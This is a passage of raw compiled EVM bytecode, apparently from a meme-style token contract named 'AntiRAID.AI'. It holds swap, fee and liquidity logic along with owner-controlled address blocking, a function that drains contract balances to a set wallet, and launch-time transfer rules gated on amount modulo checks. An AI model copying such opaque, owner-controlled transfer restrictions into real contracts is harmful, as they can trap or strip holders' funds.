190613d3b565b60405180910390f35b3480156102ea57600080fd5b5061030560048036038101906103009190613917565b610ace565b6040516103129190613d3b565b60405180910390f35b34801561032757600080fd5b50610330610ae3565b60405161033d9190613edf565b60405180910390f35b34801561035257600080fd5b5061036d600480360381019061036891906138bd565b610aed565b005b34801561037b57600080fd5b5061039660048036038101906103919190613917565b610d6d565b005b3480156103a457600080fd5b506103bf60048036038101906103ba91906136d8565b610dd7565b6040516103cc9190613d3b565b60405180910390f35b3480156103e157600080fd5b506103ea610fd7565b6040516103f79190613edf565b60405180910390f35b34801561040c57600080fd5b506104276004803603810190610422919061372b565b611059565b005b34801561043557600080fd5b50610450600480360381019061044b91906135eb565b61110c565b60405161045d9190613d3b565b60405180910390f35b34801561047257600080fd5b5061047b611165565b6040516104889190613f7d565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b391906135eb565b61116e565b005b3480156104c657600080fd5b506104e160048036038101906104dc91906135eb565b61129e565b005b3480156104ef57600080fd5b5061050a600480360381019061050591906135eb565b6113dd565b6040516105179190613d3b565b60405180910390f35b34801561052c57600080fd5b50610547600480360381019061054291906137ab565b611410565b005b34801561055557600080fd5b5061055e6114cc565b60405161056b9190613edf565b60405180910390f35b34801561058057600080fd5b506105896114d2565b6040516105969190613d3b565b60405180910390f35b3480156105ab57600080fd5b506105c660048036038101906105c191906135eb565b6114e5565b6040516105d39190613edf565b60405180910390f35b3480156105e857600080fd5b506105f161152e565b005b3480156105ff57600080fd5b506106086115f1565b6040516106159190613edf565b60405180910390f35b34801561062a57600080fd5b506106336115f7565b6040516106409190613c79565b60405180910390f35b34801561065557600080fd5b50610670600480360381019061066b919061372b565b611620565b005b34801561067e57600080fd5b506106876116d3565b6040516106949190613dbd565b60405180910390f35b3480156106a957600080fd5b506106c460048036038101906106bf91906138bd565b611710565b005b3480156106d257600080fd5b506106db611799565b6040516106e89190613edf565b60405180910390f35b3480156106fd57600080fd5b50610718600480360381019061071391906139aa565b61179f565b005b34801561072657600080fd5b5061072f611858565b60405161073c9190613c79565b60405180910390f35b34801561075157600080fd5b5061076c6004803603810190610767919061376b565b61187e565b6040516107799190613d3b565b60405180910390f35b34801561078e57600080fd5b506107a960048036038101906107a491906138bd565b611893565b6040516107b69190613edf565b60405180910390f35b3480156107cb57600080fd5b506107e660048036038101906107e19190613685565b611905565b005b3480156107f457600080fd5b5061080f600480360381019061080a9190613645565b611a25565b60405161081c9190613edf565b60405180910390f35b34801561083157600080fd5b5061084c6004803603810190610847919061387d565b611aac565b005b34801561085a57600080fd5b50610875600480360381019061087091906138bd565b611b29565b005b34801561088357600080fd5b5061089e60048036038101906108999190613823565b611b8d565b005b3480156108ac57600080fd5b506108c760048036038101906108c291906135eb565b611c02565b6040516108d49190613d3b565b60405180910390f35b3480156108e957600080fd5b506108f2611c5c565b6040516108ff9190613d3b565b60405180910390f35b34801561091457600080fd5b5061092f600480360381019061092a91906138bd565b611c6f565b005b34801561093d57600080fd5b50610946611cf7565b6040516109539190613d56565b60405180910390f35b34801561096857600080fd5b50610983600480360381019061097e91906135eb565b611d1d565b6040516109909190613d3b565b60405180910390f35b601b5481565b60606040518060400160405280600b81526020017f416e7469524149442e4149000000000000000000000000000000000000000000815250905090565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610abc9190613edf565b60405180910390a36001905092915050565b600082610ada83611893565b11905092915050565b6000600754905090565b610af633611d1d565b80610b065750610b0533611c02565b5b610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3c90613ebf565b60405180910390fd5b6000479050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60648484610b9491906140fc565b610b9e91906140cb565b9081150290604051600060405180830381858888f19350505050158015610bc9573d6000803e3d6000fd5b506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c279190613c79565b60206040518083038186803b158015610c3f57600080fd5b505afa158015610c53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7791906138ea565b9050600060648483610c8991906140fc565b610c9391906140cb565b9050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610d14929190613d12565b602060405180830381600087803b158015610d2e57600080fd5b505af1158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d669190613850565b5050505050565b610d7633611d1d565b80610d865750610d8533611c02565b5b610dc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbc90613ebf565b60405180910390fd5b81601481905550806015819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610fc357610f42826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d739092919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610fce848484611dd7565b90509392505050565b6000611054611007600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166114e5565b611046611035600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166114e5565b60075461223f90919063ffffffff16565b61223f90919063ffffffff16565b905090565b61106233611d1d565b80611072575061107133611c02565b5b6110b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a890613ebf565b60405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006006905090565b6111773361110c565b6111b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ad90613e9f565b60405180910390fd5b600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90613e3f565b60405180910390fd5b6001600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6112a733611d1d565b806112b757506112b633611c02565b5b6112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed90613ebf565b60405180910390fd5b600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990613e5f565b60405180910390fd5b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000611409827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6109dc565b9050919050565b61141933611d1d565b80611429575061142833611c02565b5b611468576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145f90613ebf565b60405180910390fd5b60005b82518110156114c7576114b33384838151811061148b5761148a614351565b5b60200260200101518484815181106114a6576114a5614351565b5b6020026020010151611dd7565b5080806114bf90614279565b91505061146b565b505050565b60085481565b601a60149054906101000a900460ff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6115373361110c565b611576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156d90613e9f565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616360006040516115e79190613c79565b60405180910390a1565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61162933611d1d565b80611639575061163833611c02565b5b611678576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166f90613ebf565b60405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60606040518060400160405280600881526020017f4d4f442e41492829000000000000000000000000000000000000000000000000815250905090565b61171933611d1d565b80611729575061172833611c02565b5b611768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175f90613ebf565b60405180910390fd5b61179530600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611dd7565b5050565b601c5481565b6117a833611d1d565b806117b857506117b733611c02565b5b6117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ee90613ebf565b60405180910390fd5b83600f81905550826010819055508160118190555080601381905550601154601054600f546118269190614075565b6118309190614075565b601281905550600860135461184591906140cb565b6012541061185257600080fd5b50505050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061188b338484611dd7565b905092915050565b60006118fe6118a0610fd7565b6118f06118e160026118d3601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166114e5565b61228990919063ffffffff16565b8561228990919063ffffffff16565b61230490919063ffffffff16565b9050919050565b61190e33611d1d565b8061191e575061191d33611c02565b5b61195d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195490613ebf565b60405180910390fd5b82601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ab533611d1d565b80611ac55750611ac433611c02565b5b611b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afb90613ebf565b60405180910390fd5b81601a60146101000a81548160ff02191690831515021790555080601b819055505050565b611b3233611d1d565b80611b425750611b4133611c02565b5b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613ebf565b60405180910390fd5b611b8a8161234e565b50565b611b9633611d1d565b80611ba65750611ba533611c02565b5b611be5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdc90613ebf565b60405180910390fd5b80601a60156101000a81548160ff02191690831515021790555050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b601a60159054906101000a900460ff1681565b611c7833611d1d565b80611c885750611c8733611c02565b5b611cc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbe90613ebf565b60405180910390fd5b606481600754611cd791906140fc565b611ce191906140cb565b60088190555060018111611cf457600080fd5b50565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000838311158290611dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db29190613dbd565b60405180910390fd5b5060008385611dca9190614156565b9050809150509392505050565b6000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e3057600080fd5b601e60019054906101000a900460ff1615611e5757611e50848484612e3e565b9050612238565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611f035750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fec57600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fac575060085482600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa99190614075565b11155b611feb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe290613ddf565b60405180910390fd5b5b611ff68483613011565b601e60009054906101000a900460ff161561202857621e8480601c60008282546120209190614075565b925050819055505b612031826130b1565b6120396130fe565b1561204a57612049601b5461234e565b5b6120d3826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d739092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000612121856131d5565b61212b5782612136565b612135858461322c565b5b905061218a81600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461337090919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161222a9190613edf565b60405180910390a360019150505b9392505050565b600061228183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d73565b905092915050565b60008083141561229c57600090506122fe565b600082846122aa91906140fc565b90508284826122b991906140cb565b146122f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f090613e7f565b60405180910390fd5b809150505b92915050565b600061234683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506133ce565b905092915050565b6001601e60016101000a81548160ff0219169083151502179055506000819050600061237e601454601554610ace565b61238a57600f5461238d565b60005b905060006123cb60026123bd6012546123af868861228990919063ffffffff16565b61230490919063ffffffff16565b61230490919063ffffffff16565b905060006123e2828561223f90919063ffffffff16565b90506000600267ffffffffffffffff81111561240157612400614380565b5b60405190808252806020026020018201604052801561242f5781602001602082028036833780820191505090505b5090506000600367ffffffffffffffff81111561244f5761244e614380565b5b60405190808252806020026020018201604052801561247d5781602001602082028036833780820191505090505b509050308160008151811061249557612494614351565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061250657612505614351565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125a857600080fd5b505afa1580156125bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125e09190613618565b816002815181106125f4576125f3614351565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008530426040518663ffffffff1660e01b8152600401612697959493929190613efa565b600060405180830381600087803b1580156126b157600080fd5b505af11580156126c5573d6000803e3d6000fd5b5050505060006126de824761223f90919063ffffffff16565b9050600061270c6126fb6002600f5461230490919063ffffffff16565b60125461223f90919063ffffffff16565b90506000612748600261273a8461272c8d8861228990919063ffffffff16565b61230490919063ffffffff16565b61230490919063ffffffff16565b90506000612773836127656010548761228990919063ffffffff16565b61230490919063ffffffff16565b9050600061279e846127906011548861228990919063ffffffff16565b61230490919063ffffffff16565b90506000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683617530906040516127ec90613c64565b600060405180830381858888f193505050503d806000811461282a576040519150601f19603f3d011682016040523d82523d6000602084013e61282f565b606091505b505090506000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16836175309060405161287f90613c64565b600060405180830381858888f193505050503d80600081146128bd576040519150601f19603f3d011682016040523d82523d6000602084013e6128c2565b606091505b5050905081612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613e1f565b60405180910390fd5b80612946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293d90613e1f565b60405180910390fd5b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156129ae57600080fd5b505afa1580156129c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129e69190613618565b8a6000815181106129fa576129f9614351565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168a600181518110612a6b57612a6a614351565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000851115612b4457601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958660008d30426040518663ffffffff1660e01b8152600401612b119493929190613d71565b6000604051808303818588803b158015612b2a57600080fd5b505af1158015612b3e573d6000803e3d6000fd5b50505050505b60008c905060008d1115612e11576000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401612baf9190613c79565b60206040518083038186803b158015612bc757600080fd5b505afa158015612bdb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612bff91906138ea565b9050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401612c80929190613d12565b602060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cd29190613850565b50601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e8e33700600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16308486600080601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518963ffffffff1660e01b8152600401612d81989796959493929190613c94565b606060405180830381600087803b158015612d9b57600080fd5b505af1158015612daf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612dd39190613957565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506878f604051612e07929190613f54565b60405180910390a1505b5050505050505050505050505050506000601e60016101000a81548160ff02191690831515021790555050565b6000612ec9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d739092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f5e82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461337090919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ffe9190613edf565b60405180910390a3600190509392505050565b601e60009054906101000a900460ff16156130ad57600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061308b57506000601c548261308991906142c2565b145b806130a357506000601d54826130a191906142c2565b145b6130ac57600080fd5b5b5050565b601e60009054906101000a900460ff1680156130da57506000601d54826130d891906142c2565b145b156130fb576000601e60006101000a81548160ff0219169083151502179055505b50565b6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561316b5750601e60019054906101000a900460ff16155b80156131835750601a60149054906101000a900460ff165b80156131d05750601b54600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b60008061325860135461324a6012548661228990919063ffffffff16565b61230490919063ffffffff16565b90506132ac81600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461337090919063ffffffff16565b600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161334c9190613edf565b60405180910390a3613367818461223f90919063ffffffff16565b91505092915050565b600080828461337f9190614075565b9050838110156133c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133bb90613dff565b60405180910390fd5b8091505092915050565b60008083118290613415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161340c9190613dbd565b60405180910390fd5b506000838561342491906140cb565b9050809150509392505050565b600061344461343f84613fbd565b613f98565b90508083825260208201905082856020860282011115613467576134666143b4565b5b60005b85811015613497578161347d8882613511565b84526020840193506020830192505060018101905061346a565b5050509392505050565b60006134b46134af84613fe9565b613f98565b905080838252602082019050828560208602820111156134d7576134d66143b4565b5b60005b8581101561350757816134ed88826135c1565b8452602084019350602083019250506001810190506134da565b5050509392505050565b6000813590506135208161456b565b92915050565b6000815190506135358161456b565b92915050565b600082601f8301126135505761354f6143af565b5b8135613560848260208601613431565b91505092915050565b600082601f83011261357e5761357d6143af565b5b813561358e8482602086016134a1565b91505092915050565b6000813590506135a681614582565b92915050565b6000815190506135bb81614582565b92915050565b6000813590506135d081614599565b92915050565b6000815190506135e581614599565b92915050565b600060208284031215613601576136006143be565b5b600061360f84828501613511565b91505092915050565b60006020828403121561362e5761362d6143be565b5b600061363c84828501613526565b91505092915050565b6000806040838503121561365c5761365b6143be565b5b600061366a85828601613511565b925050602061367b85828601613511565b9150509250929050565b60008060006060848603121561369e5761369d6143be565b5b60006136ac86828701613511565b93505060206136bd86828701613511565b92505060406136ce86828701613511565b9150509250925092565b6000806000606084860312156136f1576136f06143be565b5b60006136ff86828701613511565b935050602061371086828701613511565b9250506040613721868287016135c1565b9150509250925092565b60008060408385031215613742576137416143be565b5b600061375085828601613511565b925050602061376185828601613597565b9150509250929050565b60008060408385031215613782576137816143be565b5b600061379085828601613511565b92505060206137a1858286016135c1565b9150509250929050565b600080604083850312156137c2576137c16143be565b5b600083013567ffffffffffffffff8111156137e0576137df6143b9565b5b6137ec8582860161353b565b925050602083013567ffffffffffffffff81111561380d5761380c6143b9565b5b61381985828601613569565b9150509250929050565b600060208284031215613839576138386143be565b5b600061384784828501613597565b91505092915050565b600060208284031215613866576138656143be565b5b6000613874848285016135ac565b91505092915050565b60008060408385031215613894576138936143be565b5b60006138a285828601613597565b92505060206138b3858286016135c1565b9150509250929050565b6000602082840312156138d3576138d26143be565b5b60006138e1848285016135c1565b91505092915050565b600060208284031215613900576138ff6143be565b5b600061390e848285016135d6565b91505092915050565b6000806040838503121561392e5761392d6143be565b5b600061393c858286016135c1565b925050602061394d858286016135c1565b9150509250929050565b6000806000606084860312156139705761396f6143be565b5b600061397e868287016135d6565b935050602061398f868287016135d6565b92505060406139a0868287016135d6565b9150509250925092565b600080600080608085870312156139c4576139c36143be565b5b60006139d2878288016135c1565b94505060206139e3878288016135c1565b93505060406139f4878288016135c1565b9250506060613a05878288016135c1565b91505092959194509250565b6000613a1d8383613a29565b60208301905092915050565b613a328161418a565b82525050565b613a418161418a565b82525050565b6000613a5282614025565b613a5c8185614048565b9350613a6783614015565b8060005b83811015613a98578151613a7f8882613a11565b9750613a8a8361403b565b925050600181019050613a6b565b5085935050505092915050565b613aae8161419c565b82525050565b613abd816141df565b82525050565b613acc81614203565b82525050565b6000613add82614030565b613ae78185614064565b9350613af7818560208601614215565b613b00816143c3565b840191505092915050565b6000613b18602583614064565b9150613b23826143d4565b604082019050919050565b6000613b3b601b83614064565b9150613b4682614423565b602082019050919050565b6000613b5e601e83614064565b9150613b698261444c565b602082019050919050565b6000613b81601883614064565b9150613b8c82614475565b602082019050919050565b6000613ba4601883614064565b9150613baf8261449e565b602082019050919050565b6000613bc7602183614064565b9150613bd2826144c7565b604082019050919050565b6000613bea600683614064565b9150613bf582614516565b602082019050919050565b6000613c0d600083614059565b9150613c188261453f565b600082019050919050565b6000613c30600b83614064565b9150613c3b82614542565b602082019050919050565b613c4f816141c8565b82525050565b613c5e816141d2565b82525050565b6000613c6f82613c00565b9150819050919050565b6000602082019050613c8e6000830184613a38565b92915050565b600061010082019050613caa600083018b613a38565b613cb7602083018a613a38565b613cc46040830189613c46565b613cd16060830188613c46565b613cde6080830187613ac3565b613ceb60a0830186613ac3565b613cf860c0830185613a38565b613d0560e0830184613c46565b9998505050505050505050565b6000604082019050613d276000830185613a38565b613d346020830184613c46565b9392505050565b6000602082019050613d506000830184613aa5565b92915050565b6000602082019050613d6b6000830184613ab4565b92915050565b6000608082019050613d866000830187613ac3565b8181036020830152613d988186613a47565b9050613da76040830185613a38565b613db46060830184613c46565b95945050505050565b60006020820190508181036000830152613dd78184613ad2565b905092915050565b60006020820190508181036000830152613df881613b0b565b9050919050565b60006020820190508181036000830152613e1881613b2e565b9050919050565b60006020820190508181036000830152613e3881613b51565b9050919050565b60006020820190508181036000830152613e5881613b74565b9050919050565b60006020820190508181036000830152613e7881613b97565b9050919050565b60006020820190508181036000830152613e9881613bba565b9050919050565b60006020820190508181036000830152613eb881613bdd565b9050919050565b60006020820190508181036000830152613ed881613c23565b9050919050565b6000602082019050613ef46000830184613c46565b92915050565b600060a082019050613f0f6000830188613c46565b613f1c6020830187613ac3565b8181036040830152613f2e8186613a47565b9050613f3d6060830185613a38565b613f4a6080830184613c46565b9695505050505050565b6000604082019050613f696000830185613c46565b613f766020830184613c46565b9392505050565b6000602082019050613f926000830184613c55565b92915050565b6000613fa2613fb3565b9050613fae8282614248565b919050565b6000604051905090565b600067ffffffffffffffff821115613fd857613fd7614380565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561400457614003614380565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000614080826141c8565b915061408b836141c8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156140c0576140bf6142f3565b5b828201905092915050565b60006140d6826141c8565b91506140e1836141c8565b9250826140f1576140f0614322565b5b828204905092915050565b6000614107826141c8565b9150614112836141c8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561414b5761414a6142f3565b5b828202905092915050565b6000614161826141c8565b915061416c836141c8565b92508282101561417f5761417e6142f3565b5b828203905092915050565b6000614195826141a8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006141ea826141f1565b9050919050565b60006141fc826141a8565b9050919050565b600061420e826141c8565b9050919050565b60005b83811015614233578082015181840152602081019050614218565b83811115614242576000848401525b50505050565b614251826143c3565b810181811067ffffffffffffffff821117156142705761426f614380565b5b80604052505050565b6000614284826141c8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156142b7576142b66142f3565b5b600182019050919050565b60006142cd826141c8565b91506142d8836141c8565b9250826142e8576142e7614322565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206261672060008201527f73697a652e00000000000000000000000000000000000000000000000000000060208201525